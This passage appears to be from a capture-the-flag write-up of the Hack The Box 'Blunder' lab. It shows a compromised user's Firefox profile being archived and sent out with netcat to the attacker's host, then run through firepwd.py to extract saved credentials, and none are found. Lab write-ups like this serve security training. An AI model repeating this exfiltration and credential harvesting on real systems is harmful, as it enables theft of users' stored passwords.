Firefox


hugo@blunder:~$ ll
total 80
drwxr-xr-x 16 hugo hugo 4096 May 26  2020 ./
drwxr-xr-x  4 root root 4096 Apr 27  2020 ../
lrwxrwxrwx  1 root root    9 Apr 28  2020 .bash_history -> /dev/null
-rw-r--r--  1 hugo hugo  220 Nov 28  2019 .bash_logout
-rw-r--r--  1 hugo hugo 3771 Nov 28  2019 .bashrc
drwx------ 13 hugo hugo 4096 Apr 27  2020 .cache/
drwx------ 11 hugo hugo 4096 Nov 28  2019 .config/
drwxr-xr-x  2 hugo hugo 4096 Nov 28  2019 Desktop/
drwxr-xr-x  2 hugo hugo 4096 Nov 28  2019 Documents/
drwxr-xr-x  2 hugo hugo 4096 Nov 28  2019 Downloads/
drwx------  3 hugo hugo 4096 Apr 27  2020 .gnupg/
drwxrwxr-x  3 hugo hugo 4096 Nov 28  2019 .local/
drwx------  5 hugo hugo 4096 Apr 27  2020 .mozilla/
drwxr-xr-x  2 hugo hugo 4096 Nov 28  2019 Music/
drwxr-xr-x  2 hugo hugo 4096 Nov 28  2019 Pictures/
-rw-r--r--  1 hugo hugo  807 Nov 28  2019 .profile
drwxr-xr-x  2 hugo hugo 4096 Nov 28  2019 Public/
drwx------  2 hugo hugo 4096 Apr 27  2020 .ssh/
drwxr-xr-x  2 hugo hugo 4096 Nov 28  2019 Templates/
-r--------  1 hugo hugo   33 sep 18 05:34 user.txt
drwxr-xr-x  2 hugo hugo 4096 Nov 28  2019 Videos/

After making a lateral movement, I found out that the shaun user also has the .mozilla directory present in the home directory

shaun@blunder:~$ ll .mozilla
ll .mozilla
total 20K
4.0K drwxr-xr-x 16 shaun shaun 4.0K Jul  6  2021 ..
4.0K drwxr-xr-x  5 shaun shaun 4.0K Nov 28  2019 .
4.0K drwx------  2 shaun shaun 4.0K Nov 28  2019 extensions
4.0K drwx------  2 shaun shaun 4.0K Nov 28  2019 systemextensionsdev
4.0K drwxr-xr-x  7 shaun shaun 4.0K Nov 28  2019 firefox
shaun@blunder:~$ ll .mozilla/firefox
ll .mozilla/firefox
total 36K
4.0K drwx------ 13 shaun shaun 4.0K Jul  5  2021  ekbzf12k.default-release
4.0K drwx------  3 shaun shaun 4.0K May 19  2020 'Crash Reports'
4.0K drwxr-xr-x  5 shaun shaun 4.0K Nov 28  2019  ..
4.0K drwxr-xr-x  7 shaun shaun 4.0K Nov 28  2019  .
4.0K -rw-r--r--  1 shaun shaun   62 Nov 28  2019  installs.ini
4.0K -rw-r--r--  1 shaun shaun  259 Nov 28  2019  profiles.ini
4.0K drwx------  2 shaun shaun 4.0K Nov 28  2019  yoop1eyl.default
4.0K drwx------  2 shaun shaun 4.0K Nov 28  2019 'Pending Pings'
4.0K drwxr-xr-x  4 shaun shaun 4.0K Nov 28  2019  mhex3b0n.default-release

The user has a Firefox profile; ekbzf12k.default-release If the user has ever authenticated, I will be able to extract the credentials

shaun@blunder:~$ tar -czf firefox.tar.gz .mozilla/firefox 
 
shaun@blunder:~$ nc 10.10.14.17 2222 < firefox.tar.gz
┌──(kali㉿kali)-[~/…/labs/blunder/firepwd/shaun]
└─$ nnc 2222 > firefox.tar.gz                           
listening on [any] 2222 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.191] 56112
 
┌──(kali㉿kali)-[~/…/labs/blunder/firepwd/shaun]
└─$ tar -xf firefox.tar.gz

Transfer complete

firepwd.py


┌──(kali㉿kali)-[~/…/htb/labs/blunder/firepwd]┌──(kali㉿kali)-[~/…/htb/labs/blunder/firepwd]
└─$ python3 firepwd.py -d shaun/.mozilla/firefox/ekbzf12k.default-release 
globalSalt: b'ef3b6c7f747609825ffe34d128a396f339bf506c'
 SEQUENCE {
   SEQUENCE {
     OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 pbeWithSha1AndTripleDES-CBC
     SEQUENCE {
       OCTETSTRING b'928443fce73564e550c2b2e779c95569b2efadb7'
       INTEGER b'01'
     }
   }
   OCTETSTRING b'67ce08b7061abf780284ce3cdf7a5742'
 }
entrySalt: b'928443fce73564e550c2b2e779c95569b2efadb7'
b'70617373776f72642d636865636b0202'
password check? True
no saved login/password

firepwd.py was able to decrypt the encrypted string, but the result doesn’t appear to be “CLEARTEXT”; 70617373776f72642d636865636b0202